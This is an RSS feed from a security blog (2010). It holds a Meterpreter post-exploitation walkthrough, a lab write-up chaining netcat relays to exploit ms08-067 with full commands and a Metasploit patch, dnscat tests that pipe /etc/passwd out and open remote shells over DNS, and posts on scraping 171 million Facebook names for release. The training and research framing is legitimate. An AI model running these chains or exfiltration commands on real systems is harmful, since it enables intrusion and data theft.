<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SkullSecurity</title>
	<atom:link href="http://www.skullsecurity.org/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.skullsecurity.org/blog</link>
	<description>Just another security weblog</description>
	<lastBuildDate>Wed, 01 Sep 2010 15:15:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Finding Mapped Drives with Meterpreter</title>
		<link>http://www.skullsecurity.org/blog/?p=931</link>
		<comments>http://www.skullsecurity.org/blog/?p=931#comments</comments>
		<pubDate>Wed, 01 Sep 2010 14:16:20 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Instructions]]></category>
		<category><![CDATA[Matt Gardenghi]]></category>
		<category><![CDATA[Metasploit]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=931</guid>
		<description><![CDATA[This post written by Matt Gardenghi
---------
This is going to be a series of short "how to" articles so that I have a resource when I forget how I did something. Your benefit from this post is incidental to my desire to have a resource I can reach when I've had a brain cloud.
When cracking into [...]]]></description>
			<content:encoded><![CDATA[<p>This post written by <a href='https://twitter.com/matt_gardenghi'>Matt Gardenghi</a><br />
---------<br />
This is going to be a series of short "how to" articles so that I have a resource when I forget how I did something. Your benefit from this post is incidental to my desire to have a resource I can reach when I've had a brain cloud.</p>
<p>When cracking into a computer via Metasploit, I often (OK, usually) install meterpreter.  It just makes life simpler.  Well, the other day, I was chatting with @jcran about my inability to get access to network drives on a Novell network.  The problem is that Novell maps drives in a sorta funny method compared to Active Directory. At least that was my thought.  The problem generally is that Novell handles things extremely differently then AD, that I assumed that things would be different.  #facepalm</p>
<p>Anyhow, @jcran pointed out the following things to me:</p>
<p>1) If you are SYSTEM, you won't have the credentials of the logged in user.</p>
<p>2) The drives are mapped to the user and SYSTEM isn't a user with mapped drives.</p>
<p>3) The process is the same for finding mapped drives in both Novell and AD.</p>
<p>The procedure for accessing the user's drives goes like this for the SYSTEM user at the Meterpreter prompt:</p>
<p>1) run migrate explorer.exe (this migrates you to the explorer process and gives you the logged in user's privileges.)</p>
<p>2) getuid (verify that you are now the user)</p>
<p>3) run get_env (this dumps the environmental variables including the mapped drives)</p>
<p>4) cd &lt;drive letter&gt; (browse the drives at your leisure)</p>
<p>Simple enough.  Now if only I'd thought it out first....<br />
<img src="/blogdata/file_browsing_example.png" alt="example of file browsing"/></p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=931</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Followup to my Facebook research</title>
		<link>http://www.skullsecurity.org/blog/?p=898</link>
		<comments>http://www.skullsecurity.org/blog/?p=898#comments</comments>
		<pubDate>Thu, 12 Aug 2010 14:52:24 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Passwords]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=898</guid>
		<description><![CDATA[Hey all,
Some of you may have heard what I did this month. It turns out, depending on who you listen to, that I'm either an evil "Facebook hacker" or just some mischievous individual doing "unsettling" research. But, one way or the other, a huge number of people have read or heard this story, and that's [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>Some of you may have heard what I did this month. It turns out, depending on who you listen to, that I'm either an evil "<a href='http://www.theatlanticwire.com/opinions/view/opinion/Hacker-Harvests-100M-Facebook-Profiles-and-Publishes-Data-Whos-At-Risk-4510'>Facebook hacker</a>" or just some <a href='http://www.telegraph.co.uk/technology/facebook/7919103/First-Wikileaks-now-Facebook.-Is-this-the-death-of-privacy.html'>mischievous individual doing "unsettling" research</a>. But, one way or the other, a huge number of people have read or heard this story, and that's pretty cool. </p>
<p>Although it's awesome (and humbling) that so much attention was paid (at least for a couple days) to some fairly straight forward work I did, I want to talk about this from my perspective, including why I did it and what I think this means to the community. Then, for fun, I'll end by talking about other places this research can go and open up the floor for some discussion. </p>
<h2>Why I did it</h2>
<p>The biggest question I get is: why? -- and it's a valid question. Why would I "expose" public data to the public? And, do I get this excited every year when I get the new phonebook?</p>
<p>Well, let's talk about it! </p>
<p>First off, as many of you know, I'm a developer for the <a href='http://nmap.org'>Nmap security scanner</a>. Among many, many other things, I've written several of the <a href='http://nmap.org/nsedoc/categories/auth.html'>bruteforce</a> (aka, 'auth') scripts, which are designed to test password strength on a system. The <a href='http://nmap.org/ncrack'>Ncrack</a> tool, a recent addition to the Nmap suite written by <a href='https://twitter.com/ithilgore'>Ithilgore</a>, is primarily designed to test password strength by guessing username/password combinations, much like <a href='http://freeworld.thc.org/thc-hydra/'>Hydra</a> and <a href='http://www.foofus.net/~jmk/medusa/medusa.html'>Medusa</a>.</p>
<p>When I joined the Nmap project, it came with a set of 8 or so common usernames and a couple hundred common passwords. The original password list, put together by Kris Katterjohn, was entirely based on some <a href='http://downloads.skullsecurity.org/passwords/myspace.txt'>exposed MySpace passwords</a>. Those passwords were sub-optimal because they were phished, not leaked/breached, which means passwords with messages to the phishers, like "fuckyou", are artificially common (not to mention "suck my dick" and "piss off cracker head" -- I highly suggest searching the list for swear words and body parts, it's actually really amusing). </p>
<p>Fortunately for us, as password researchers, there were several more password breaches around that same time. One of the most interesting from a research perspective, due to it being the biggest breach at the time (with 188,000 records), was <a href='http://downloads.skullsecurity.org/passwords/phpbb.txt.bz2'>Phpbb</a>. The Phpbb passwords hashed with md5 so converting them into a useful password list was a long process (that, I'm happy to report, is over 98% done -- not by me). </p>
<p>Not too long after the Phpbb breach, RockYou came along. I'm not going to link to my RockYou list directly, because of the size, but it consists of 32 million plaintext passwords and you can find it on my <a href='http://www.skullsecurity.org/wiki/index.php/Passwords'>passwords page</a>. From a password research perspective, we couldn't have asked for better data. </p>
<p>Anyway, with all these breaches, keeping track of the lists became a hassle. So, like anybody who doesn't want to do the work himself, I set up a <a href='http://skullsecurity.org/wiki/index.php/Passwords'>wiki page</a> to keep track of my lists. Since I created it, I've had exceptionally good feedback about from researchers around the world. As far as I know, it's the best collection of breached passwords anywhere. Nmap's <a href='http://nmap.org/svn/nselib/data/passwords.lst'>current password list</a> is based on extensive research performed by Nmap developers based on our many lists. </p>
<p>Now, back to the Facebook names. There are actually two sides to the situation. The first, and most obvious, occurs when Nmap (or the other tools I mentioned) are performing a password-guessing audit against a host. Before it can guess a password, the program requires a high-quality list of usernames. Those names could be harvested from the site (such as an email directory), they could be created using default usernames lists (such as 'administrator', 'web', 'user', 'guest', etc), or they could be chosen using lists of actual names (such as 'jsmith' or 'rbowes'). That's where this list comes in -- having a list of 10, 100, or 1000 names wouldn't help us much, because there are billions of people in the world, but having a sample of 170 million names is a great cross-section that gives us great insight into the most common names and, therefore, the most common usernames (who would have thought that 'jsmith' would be the most common?)</p>
<p>The second reason, however, is more interesting to me because it continues my research into <a href='http://www.skullsecurity.org/blog/?p=538'>how people choose passwords</a>. It's a well known fact to anybody in the security field that people choose poor passwords. By studying the most common trends in password choices, we help teach people how to choose better passwords (and hopefully, someday, we'll find a way to eliminate passwords altogether). I hope to put together some numbers showing how many people use passwords based on names. Although I don't have results that I'm comfortable with releasing yet, I hope to put together some statistics in the future. Stay tuned for that!</p>
<h2>Getting out of control</h2>
<p>I hope now you have some insight into my motives. It was some simple research, how did it become so popular?</p>
<p>Well, the first reason is because when I wrote the <a href='http://www.skullsecurity.org/blog/?p=887'>the original blog I posted on the subject</a>, I was somewhat careless with my language. As a result, people got the wrong impression and thought I had a lot more data than I actually did. As you can see in the <a href='http://www.bbc.co.uk/news/technology-10796584'>original story posted by the BBC</a>, the whole situation sounded a lot more exciting, and controversial, than it actually was. </p>
<p>Now, at the time that these stories were running, I wasn't at home. In fact, I on that particular day, I was at the Grand Canyon. Now, why would I post some interesting research the day before I was going to the Grand Canyon? Well, all I can say is that planning ahead is overrated. :)</p>
<p>Anyway, because I was out of town, and Canadian telcos charge ludicrous roaming fees, I wasn't in a hurry to answer phonecalls or spend time on the phone doing an interview. Therefore, despite making attempts to contact me, the reporter from the BBC, Daniel Emery, ended up posting the story as he understood it at the time. </p>
<p>Fortunately, that night, me and Daniel had a great email conversation about the work I did. The result was <a href='http://www.bbc.co.uk/news/technology-10802730'>an updated story</a> that very clearly spells out my motivations and, in my opinion, is one of the best stories on the topic. </p>
<p>By then, though, the damage was done. <a href='http://news.google.ca/news/search?aq=f&#038;pz=1&#038;cf=all&#038;ned=ca&#038;hl=en&#038;q=ron+bowes'>Hundreds of articles</a> were published. All for something that really wasn't a big deal. </p>
<p>I'm thankful, though, that Facebook's response aligned with mine, and that they didn't make any kind of an attempt to pursue legal action or request that I remove the information or anything else. That's a far better response than I'd expected, to be honest, and I have to thank Facebook for that (even if they didn't invite me to their Defcon party ;) ). </p>
<h2>What's this data mean?</h2>
<p>So, as I said, I collected exactly two pieces of data:</p>
<ol>
<li>The names of 170 million users</li>
<li>The URL of those users</li>
</ol>
<p>I did <strong>NOT</strong> collect email addresses, friends, private data, public data, or anything else. And the URL might lead to nothing but a name and whatever picture the user chose -- that's what Facebook shares at a minimum. Downloading the actual profile pages of all the users, based on some quick calculations I made, would be about 3tb big. Of course, I don't doubt that somebody is trying. :)</p>
<p>So now, I want to open up the discussion a little. I've been telling reporters (and everybody else) since it started that this data doesn't mean anything, and is only interesting as a research project into common names. My challenge to you, the readers, is: <strong>what more can be done with this data?</strong></p>
<p>I've had several email (and real-world) discussions with various people, all of whom will remain unnamed. Some were from businesses, some academia, and some media. Here are some thoughts people have run by me (if you see something that you don't want publicized, please let me know and I'll remove it from this page; I tried to keep these vague enough not to upset anybody, though):</p>
<ul>
<li>A business person suggested that companies who publish names for a living (eg, common baby names) might be interested in this data</li>
<li>Other social network sites might want to check overlaps and/or build links between profiles on their site and Facebook</li>
<li>In a blog comment, somebody suggested, and is working on, downloading profile pictures for facial recognition</li>
<li>On IRC, we discussed the possibility of analyzing the user IDs, included in the URLs, to see if it's possible to enumerate non-searchable accounts</li>
<li>A researcher suggested using this data to study the <a href='http://en.wikipedia.org/wiki/Name_letter_effect'>name letter effect</a>, though I haven't collected enough information for that to be useful</li>
<li>Similarly, names themselves can be indicative of race/culture -- could this be used for targeted advertising?</li>
</ul>
<p>So, those are some ideas to expand this research, some of which are actually being worked on right now. And don't get me wrong, those are good ideas, but I'd really like to get some more. Why should we, whether we're security researchers, media, academics, etc, care about having a list of 170,000,000 names and URLs? What can we get from aggregating this data that we didn't have before? What can a good person do with it? What about an evil person?</p>
<p>I'd love to hear most opinions! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=898</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Return of the Facebook Snatchers</title>
		<link>http://www.skullsecurity.org/blog/?p=887</link>
		<comments>http://www.skullsecurity.org/blog/?p=887#comments</comments>
		<pubDate>Tue, 27 Jul 2010 02:44:32 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=887</guid>
		<description><![CDATA[First and foremost: if you want to cut to the chase, just download the torrent. If you want the full story, please read on....
Background
Way back when I worked at Symantec, my friend Nick wrote a blog that caused a little bit of trouble for us: Attack of the Facebook Snatchers. I was blog editor at [...]]]></description>
			<content:encoded><![CDATA[<p>First and foremost: if you want to cut to the chase, just download the <a href='/blogdata/fbdata.torrent'>torrent</a>. If you want the full story, please read on....</p>
<h2>Background</h2>
<p>Way back when I worked at Symantec, my friend Nick wrote a blog that caused a little bit of trouble for us: <a href='http://www.symantec.com/connect/blogs/attack-facebook-snatchers'>Attack of the Facebook Snatchers</a>. I was blog editor at the time, and I went through the usual sign off process and, eventually, published it. Facebook was none too happy, but we fought for it and, in the end, we got to leave the blog up in its original form.</p>
<p>Why do I bring this up? Well last week <a href='https://twitter.com/FSLabsAdvisor'>@FSLabsAdvisor</a> wrote an interesting <a href='http://twitter.com/FSLabsAdvisor/status/18442678378'>Tweet</a>: it turns out, by heading to <a href='https://www.facebook.com/directory'>https://www.facebook.com/directory</a>, you can get a list of every searchable user on all of Facebook! </p>
<p>My first idea was simple: spider the lists, generate first-initial-last-name (and similar) lists, then hand them over to <a href='https://twitter.com/ithilgore'>@Ithilgore</a> to use in Nmap's awesome new bruteforce tool he's working on, <a href='http://nmap.org/ncrack/'>Ncrack</a>. </p>
<p>But as I thought more about it, and talked to other people, I realized that this is a scary privacy issue. I can find the name of pretty much every person on Facebook. Facebook helpfully informs you that "[a]nyone can opt out of appearing here by changing their Search privacy settings" -- but that doesn't help much anymore considering I already have them all (and you will too, when you download the <a href='/blogdata/fbdata.torrent'>torrent</a>). Suckers!</p>
<p>Once I have the name and URL of a user, I can view, by default, their picture, friends, information about them, and some other details. If the user has set their privacy higher, at the very least I can view their name and picture. So, if any searchable user has friends that are non-searchable, those friends just opted into being searched, like it or not! Oops :) </p>
<h2>The lists</h2>
<p>Which brings me to the next topic: the list! I wrote a <a href='/blogdata/facebook.rb'>quick Ruby script</a> (which has since become a more involved <a href='/blogdata/facebook.nse'>Nmap Script</a> that I haven't used for harvesting yet) that I used to download the full directory. I should warn you that it isn't exactly the most user friendly interface -- I wrote it for myself, primarily, I'm only linking to it for reference. I don't really suggest you try to recreate my spidering. It's a waste of several hundred gigs of bandwidth. </p>
<p>The results were spectacular. <strong>171 million</strong> names (<strong>100 million</strong> unique). My original plan was to use this list to generate a <a href='/blogdata/facebook-f.last-withcount.txt.bz2'>list of the top usernames</a> (based on first initial last name):</p>
<pre> 129369 jsmith
  79365 ssmith
  77713 skhan
  75561 msmith
  74575 skumar
  72467 csmith
  71791 asmith
  67786 jjohnson
  66693 dsmith
  66431 akhan
</pre>
<p>Or <a href='/blogdata/facebook-first.l-withcount.txt.bz2'>first name last initial</a>:</p>
<pre> 100225 johns
  97676 johnm
  97310 michaelm
  93386 michaels
  88978 davids
  85481 michaelb
  84824 davidm
  82677 davidb
  81500 johnb
  77800 michaelc
</pre>
<p>Or even the top usernames based on first name dot last name (sorry, I can't link this one due to bandwidth concerns; but it's included in <a href='/blogdata/fbdata.torrent'>the torrent</a>):</p>
<pre>  17204 john.smith
   7440 david.smith
   7200 michael.smith
   6784 chris.smith
   6371 mike.smith
   6149 arun.kumar
   5980 james.smith
   5939 amit.kumar
   5926 imran.khan
   5861 jason.smith
</pre>
<p>Or even the most common <a href='/blogdata/facebook-firstnames-withcount.txt.bz2'>first</a> or <a href='/blogdata/facebook-lastnames-withcount.txt.bz2'>last</a> names:</p>
<pre>
 977014 michael
 963693 john
 924816 david
 819879 chris
 640957 mike
 602088 james
 584438 mark
 515686 jason
 503658 robert
 484403 jessica

 913465 smith
 571819 johnson
 512312 jones
 503266 williams
 471390 brown
 386764 lee
 360010 khan
 355639 singh
 343220 kumar
 324972 miller
</pre>
<p>So, those are the top 10 lists. But I'll bet you want everything!</p>
<h2>The Torrent</h2>
<p>But it occurred to me that this is public information that Facebook puts out, I'm assuming for search engines or whatever, and that it wouldn't be right for me to keep it private. Why waste Facebook's bandwidth and make everybody scrape it, right? </p>
<p>So, I present you with: <strong><a href='/blogdata/fbdata.torrent'>a torrent</a></strong>! If you haven't download it, download it now! And seed it for as long as you can. </p>
<p>This torrent contains:</p>
<ul>
<li>The URL of every searchable Facebook user's profile</li>
<li>The name of every searchable Facebook user, both unique and by count (perfect for post-processing, datamining, etc)</li>
<li>Processed lists, including first names with count, last names with count, potential usernames with count, etc</li>
<li>The programs I used to generate everything</li>
</ul>
<p>So, there you have it: lots of awesome data from Facebook. Now, I just have to find one more problem with Facebook so I can write "Revenge of the Facebook Snatchers" and complete the trilogy. Any suggestions? >:-)</p>
<h2>Limitations</h2>
<p>So far, I have only indexed the searchable users, not their friends. Getting their friends will be significantly more data to process, and I don't have those capabilities right now. I'd like to tackle that in the future, though, so if anybody has any bandwidth they'd like to donate, all I need is an ssh account and Nmap installed. </p>
<p>An additional limitation is that these are only users whose first characters are from the latin charset. I plan to add non-Latin names in future releases. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=887</wfw:commentRss>
		<slash:comments>112</slash:comments>
		</item>
		<item>
		<title>Information Security For College Students</title>
		<link>http://www.skullsecurity.org/blog/?p=882</link>
		<comments>http://www.skullsecurity.org/blog/?p=882#comments</comments>
		<pubDate>Wed, 14 Jul 2010 16:44:39 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Default]]></category>
		<category><![CDATA[Class]]></category>
		<category><![CDATA[Matt Gardenghi]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=882</guid>
		<description><![CDATA[I've thought about this off and on over the last few years.  Today I noticed that Kees Leune (http://www.leune.org/blog/kees/2010/07/teaching-agai.html) is going to be teaching a class this school year.  He was asking for comments and so here's mine....
I'd like to see a threefold class system.  The first class would entail an overview of the 10 [...]]]></description>
			<content:encoded><![CDATA[<p>I've thought about this off and on over the last few years.  Today I noticed that Kees Leune (<a title="post" href="http://www.leune.org/blog/kees/2010/07/teaching-agai.html" target="_blank">http://www.leune.org/blog/kees/2010/07/teaching-agai.html</a>) is going to be teaching a class this school year.  He was asking for comments and so here's mine....</p>
<p>I'd like to see a threefold class system.  The first class would entail an overview of the 10 Domains.  The second would be Offensive Security and the third would be Defensive Security.</p>
<p>There is a reason for that ordering.  Without a good understanding of the fundamentals of security (10 domains) the second two classes will have less value.  Understanding the idea of physical security as well as separation of duties and such really support defensive and offensive security.  Defenders are better when they understand the threats.  Therefore, I place Offensive Security before Defensive Security.  But that's preference.  You could teach them together and make it a two-part class (firewall defense/offense; Linux offense/defense and so forth).</p>
<p>Let's get back to class 1: Information Security Fundamentals.  Here are my general thoughts on how such a class could be arranged if I were to teach it.</p>
<p>I'd assign Shaun Harris' CISSP book.  Each week we would cover the 1 of the 10 domains.  On a MWF schedule, Monday would be the overview of the domain and a discussion of the critical questions that need to be asked about each domain.  Wednesday and Friday would be in depth discussion of the domain.</p>
<p>Because this is an overview class, each Monday the student would be required to have read the chapter covering the domain to be discussed that week.  The student would also write a two-page paper explaining the critical point of the domain discussed the week before.</p>
<p>In this manner, the goal would be to instill into the student a working understanding about the critical ideas of the domain.</p>
<p>I wouldn't make this a CS only class though.  One struggle IT faces is that the business units often purchase software or services that are poorly designed.  IT is then faced with the prospect and demand of fixing/defending dumb apps.  So, I'd make this course a business elective.</p>
<p>Business students would get 1-2 credits and attend Mondays only.  They would get the high level overview.  My pie-in-the-sky hope is that it would start to create an environment in which the business teams would ask generic security questions to sales guys and/or see through marketing lies.</p>
<p>A business student would write their two-page paper for the benefit of an IT staff.  This will hopefully help them improve communication with IT people.  As such the paper would be graded by an CS teacher.</p>
<p>The CS student would write their paper explaining the domain to a business person who doesn't really understand IT.  That paper would be graded by a business teacher.</p>
<p>At least the CS/Business teachers would give a grade and I would give a grade.  Hopefully, (again pie-in-the-sky) this improves ever so slightly the ability to communicate between specialties.</p>
<p>I might even require students to sign up for SANS alert emails and to find recent articles that discuss pro/con the domains we are discussing.  This idea is to keep students learning to read/research in a lifelong way and to encourage them to learn to see how the domains interact with real life.</p>
<p>Maybe in the future we can discuss more in depth the other classes, but for now, I'm leaving this here.  Maybe someone can tweak the general idea and improve it or just use it as is.</p>
<p>Do you have thoughts?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=882</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Call for testers: nbtool-0.05 and dnscat-0.05</title>
		<link>http://www.skullsecurity.org/blog/?p=876</link>
		<comments>http://www.skullsecurity.org/blog/?p=876#comments</comments>
		<pubDate>Wed, 07 Jul 2010 14:17:34 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=876</guid>
		<description><![CDATA[Hey all,
I just released the second alpha build of nbtool (0.05alpha2), and I'm hoping to get a few testers to give me some feedback before I release 0.05 proper. I'm pretty happy with the 0.05 release, but it's easy for me to miss things as the developer. 
I'm hoping for people to test:

Through different DNS [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>I just released the second alpha build of nbtool (0.05alpha2), and I'm hoping to get a few testers to give me some feedback before I release 0.05 proper. I'm pretty happy with the 0.05 release, but it's easy for me to miss things as the developer. </p>
<p>I'm hoping for people to test:</p>
<ul>
<li>Through different DNS servers (requires an authoritative DNS server)</li>
<li>With different operating systems (doesn't require an authoritative server) -- I've tested it on Slackware 32-bit, Slackware 64-bit, FreeBSD 8 64-bit, and Windows 2003, those or others would be great!</li>
<li>With different commandline options (also doesn't require authoritative server)</li>
</ul>
<p>First off, grab the latest dnscat build from either the <a href='/wiki/index.php/Nbtool#Downloads'>nbtool</a> or the <a href='/wiki/index.php/Dnscat#Downloads'>dnscat</a> pages (it's the same file). Whether you build it from the source tarball, use the svn, or use the compiled versions, it's all good and let me know which you choose. </p>
<p>You can use the same machine for client/server, or put them on separate machines. Here are the important commands:</p>
<ul>
<li>Start the server: dnscat --listen</li>
<li>Start the server that can handle multiple clients: dnscat --listen --multi</li>
<li>Start a client with an authoritative nameserver: dnscat --domain &lt;yourdomainname&gt;</li>
<li>Start a client without an authoritative nameserver: dnscat --dns &lt;dnscatserver&gt;</li>
<li>Finally, check if you have an authoritative server: dnscat --test &lt;yourdomainname&gt;</li>
</ul>
<p>Use the --help argument to find the different options. Although all the options could use a workout, I'm particularly interested in how well --exec and --multi function across different operating systems. You can also get a ton more documentation on the <a href='/wiki/index.php/Dnscat'>wiki page</a>. </p>
<p>Things you can help me out with:</p>
<ul>
<li>Does it compile without warnings? Which OS?</li>
<li>Does it run?</li>
<li>Can the client/server communicate properly?</li>
<li>Does running --exec /bin/sh (or --exec cmd.exe) on the client give you a shell on the server</li>
<li>Does redirecting a bigger file (for example, dnscat --domain skullseclabs.org < /etc/passwd) work properly?</li>
<li>Do different options you find with --help work the way they're described?</li>
<li>Any other unexplained weirdness?</li>
</ul>
<p>Feedback on any or all of those points would be awesome! Also, I'd love to hear any other feedback, bad news, good news, complaints, compliments, or anything of the sort. Either send me an email (my address is on the right) or leave a comment on this post. </p>
<p>Thanks for helping out!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=876</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Five Relays and a Patch</title>
		<link>http://www.skullsecurity.org/blog/?p=793</link>
		<comments>http://www.skullsecurity.org/blog/?p=793#comments</comments>
		<pubDate>Wed, 26 May 2010 13:57:34 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=793</guid>
		<description><![CDATA[Hey all,
We hired a new pair of co-op students recently. They're both in their last academic terms, and are looking for a good challenge and to learn a lot. So, for a challenge, I set up a scenario that forced them to use a series of netcat relays to compromise a target host and bring [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>We hired a new pair of <a href="http://coop.cs.umanitoba.ca">co-op students</a> recently. They're both in their last academic terms, and are looking for a good challenge and to learn a lot. So, for a challenge, I set up a scenario that forced them to use a series of netcat relays to compromise a target host and bring a meterpreter session back. Here is what the network looked like:<br />
<img style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; display: block; margin-left: auto; margin-right: auto; " title="Firewall Rules" src="http://www.skullsecurity.org/blogdata/fiverelays-1.png" alt="" width="236" height="494" /><br />
To describe in text:</p>
<ul>
<li>They have already compromised a Web server with a non-root account</li>
<li>The Web server has no egress filtering, but full ingress filtering, and they aren’t allowed to install anything (fortunately, it already had Netcat)</li>
<li>The target server has both egress and ingress filtering, and is not accessible at all from the Internet, but the Web server can connect to it on 139/445 (which are vulnerable to ms08-067). The target can also connect back to the Web server on any port.</li>
</ul>
<p>The challenge was to exploit the target server with ms08-067 and bring a meterpreter session back to the attacker server.</p>
<p>I had expected this would require 3-4 netcat relays, but, after helping them to get this working, we ended up with 5 relays for a variety of reasons, plus a minor patch to Metasploit! Maybe we did it the hard way, and maybe we didn’t need all those relays, but it was fun to set up and satisfying to get working.</p>
<p>Anyway, I’ll let them explain what they did!</p>
<h2>Five relays and a patch</h2>
<p>The image below shows the various netcat relays we ended up using, in order of execution.</p>
<p><img style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; display: block; margin-left: auto; margin-right: auto; " title="Relays" src="/blogdata/fiverelays-2.png" alt="" width="405" height="560" /></p>
<p>The first goal was to find a way to bypass the firewalls.  Metasploit was using default ports 445 for outgoing and 4444 for incoming connections, and since we can't connect to either of those ports on the Web Server (WEB), we needed the WEB to establish a connection back to us.  Fortunately WEB can connect to TARGET on port 445, and can receive a connection back on any port. Thus 2 netcats are running on the WEB are:</p>
<pre> nc HACKER 1234 -vv &lt; pipe4 |  nc TARGET 445 -vv &gt; pipe4</pre>
<p>This command forwards the traffic coming in on port 1234 from the HACKER to TARGET port 445 (Relay #4).</p>
<pre> nc -l -p 4444 -vv &lt; pipe2 | nc HACKER 4442 -vv &gt; pipe2</pre>
<p>This command listens for the meterpreter session back from TARGET on port 4444 and relays it to HACKER on port 4442 (Relay #2).</p>
<p>Why does WEB connect on arbitrary port 1234 instead of connecting to Metasploit's port 445? Well, Metasploit doesn't listen on that port, it needs to initiate the connection. So we need a netcat relay running on HACKER to listen for connection from Metasploit and connect it with the incoming connection from the WEB (Relay #3):</p>
<pre>nc -l -p 1234 -vv &lt; pipe3 | nc -l -p 445 &gt; pipe3</pre>
<p>As you might have noticed the WEB is  connecting back on port 4442, not 4444 on which Metasploit is listening (Relay #2). They cannot be connected directly, as WEB will establish connection immediately when it starts and Metasploit will get confused since its waiting on Meterpreter session and fail. So we need a relay listening on port 4442 on the HACKER and connecting it back to Metasploit, right? Well, not that simple.</p>
<pre> nc -l -p 4443 -vv &lt; pipe1 | nc -l -p 4442 -vv &gt; pipe1</pre>
<p>This command will listen for incoming connection from WEB on port 4442 and relay it to port 4443 when that connection is established (Relay #1). This gives Metasploit time to trigger an exploit and we only establish a final connection to Metasploit  once it did by running a final command:</p>
<pre>nc HACKER 4444 -vv &lt; pipe5 | nc HACKER 4443 -vv &gt; pipe</pre>
<p>This simply establishes a connection to the relay running on the same computer on port 4443 and sends it to Metasploit on port 4444 (Relay #6).</p>
<p>The biggest challenge was getting the timing of the last command right. We needed to activate it after Metasploit starts listening for the reverse_tcp stager but before it sends stage data. If stage data was sent before the entire link was created,the vulnerability would be exploited, but the stage would fail. In order to get the timing right for the final command, a modification to the <em>stager.rb</em> in the <em>lib/msf/core/payload/</em> folder was necessary. We added a three-second delay after the vulnerability has been triggered and before the stage data was sent in order to give us time to link the netcat relays together for the connection back.</p>
<p>This is the patch against the Metaploit version on the Backtrack 4 cd (it'll likely fail against the HEAD revision due to a number of changes):</p>
<pre>Index: stager.rb
===================================================================
--- stager.rb   (revision 8091)
+++ stager.rb   (working copy)
@@ -100,6 +100,9 @@
                                p = (self.stage_prefix || '') + p
                        end

+            print_status("Delaying for three seconds (Start your nc relay).")
+            Kernel.sleep(3)
+
                        print_status("Sending stage (#{p.length} bytes)")

                        # Send the stage
@@ -164,4 +167,5 @@
        #
        attr_accessor :stage_prefix</pre>
<p>Now that everything should be (theoretically) working, we had to make sure to start netcat relays in the right order to make sure they can establish connections, and we had to wait before executing #6 until #2 received a connection established message. The -vv command is optional for all nc instances except in #2, where they are used to determine when to execute #6. We first start all the listener relays and then start the relays that establish connections. The commands were executed in the order provided</p>
<ol>
<li>This command is run on the HACKER:</li>
<pre>nc -l -p 4443 -vv &lt; pipe1 | nc -l -p 4442 -vv &gt; pipe1</pre>
<li>This command was run on the WEB:</li>
<pre>nc -l -p 4444 -vv &lt; pipe2 | nc HACKER 4442 -vv &gt; pipe2</pre>
<li>HACKER:</li>
<pre>nc -l -p 1234 -vv &lt; pipe3 | nc -l -p 445 &gt; pipe3</pre>
<li>WEB:</li>
<pre>nc HACKER 1234 -vv &lt; pipe4 | nc TARGET 445 -vv &gt; pipe4</pre>
<li>Now that we have a connection to the target we run an exploit:</li>
<pre>./msfcli exploit/windows/smb/ms08_067_netapi
 PAYLOAD=windows/meterpreter/reverse_tcp RHOST=HACKER LHOST=WEB E</pre>
<li>Last command is run on HACKER when Relay #2 displays a detected connection:</li>
<pre>nc HACKER 4444 -vv &lt; pipe5 | nc HACKER 4443 -vv &gt; pipe</pre>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=793</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Defeating expensive lockdowns with cheap shellscripts</title>
		<link>http://www.skullsecurity.org/blog/?p=820</link>
